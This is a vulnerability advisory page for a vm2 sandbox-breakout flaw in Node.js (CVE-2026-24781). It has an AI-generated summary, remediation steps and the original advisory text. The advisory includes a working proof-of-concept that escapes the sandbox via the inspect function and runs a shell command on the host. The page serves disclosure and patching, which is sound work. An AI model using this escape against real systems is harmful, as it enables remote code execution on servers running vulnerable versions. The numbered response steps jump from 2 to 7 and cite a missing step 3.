Skip to content

Code Injection in vm2-project

CVE-2026-24781 First seen on SecPulse

AI summary

Produced by SecPulse using an external AI model; it may contain mistakes. Check the original description and references below before acting on it.

This vulnerability impacts vm2, a sandbox for Node.js. Attackers can exploit a flaw allowing them to break out of the sandbox and execute unintended code on the server. This has been fixed in the latest version. Such attacks could cause significant problems for a company's system, so updating to the latest version is strongly recommended.

A vulnerability is identified in the inspect function of vm2, allowing sandbox breakout in Node.js environments. This issue exists in versions <= 3.10.3 and is fixed in 3.11.0. Specifically, it involves proxy unwrapping to access sandbox internal objects, enabling arbitrary code execution on the host. As per the PoC, attackers can modify files on the system. Upgrading to 3.11.0 is necessary to mitigate this. Monitoring access logs using grep or SIEM is recommended.

What is the problem

Node.js用の仮想マシン/サンドボックスであるvm2に存在するinspect関数を介したサンドボックス突破脆弱性。

Affected scope

主にvm2のinspect関数を通じて発生する。影響を受けるバージョンは<= 3.10.3で、3.11.0で修正済み。

Severity

critical (CVSSスコア9.8)。リモートでの攻撃が可能で、認証もユーザー操作も不要。

How to fix

vm2の3.11.0にアップグレードする。

Workaround

素材から特定できず。可能であれば、vm2のアップグレードが最善の策。

Detection

アクセスログをgrepまたはSIEMで監視し、異常なプロセスの生成を検知する。

Related past incidentsSimilar incidents extracted from past CVEs

Node.jsのVMモジュールのサンドボックス突破に関する同様の既存の脆弱性。

Node.jsにおいてRCEを許す別のサンドボックス突破脆弱性。

Heartbleedは同様に影響力のある脆弱性で、攻撃者がシステム内部の情報にアクセスできた事例。

If this happens at your companyExpected impact per business scenario

ECサイトの場面

攻撃者がサーバー上で任意の操作を実行し、顧客の個人情報を流出させる可能性があります。

社内システムの場面

重要な業務システムが攻撃されることで、業務中断やデータの改ざんが発生するリスクがあります。

SaaSアプリケーションの場面

サービスの利用者に対して予期しないダウンタイムやデータ損失が発生し、ブランドイメージの低下につながる可能性があります。

Recommended action

迅速にvm2をバージョン3.11.0にアップグレードし、異常な活動を監視するためのモニタリング体制を整えるべきです。

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposureidentify
    grep -r 'vm2-project' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で vm2-project を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Match against affected rangeverify
    Confirm if version satisfies `<= 3.10.3`

    Step 1 で見つかったバージョンが影響範囲 <= 3.10.3 に該当するか照合。本番で稼働中ならインシデント扱い。

  3. 7
    Post-deployment verificationverify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 3 と同じログクエリでアラート再発が無いか継続監視。

Affected packages

PackageAffected → Fixed
npmvm2
< 3.11.0→ 3.11.0
Original description The description as published by the source.

Summary

VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.

PoC

const obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice:()=>'',
	l:{__proto__: null}
};

obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
	if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
	return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Source: NIST National Vulnerability Database NVD GitHub Advisory

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details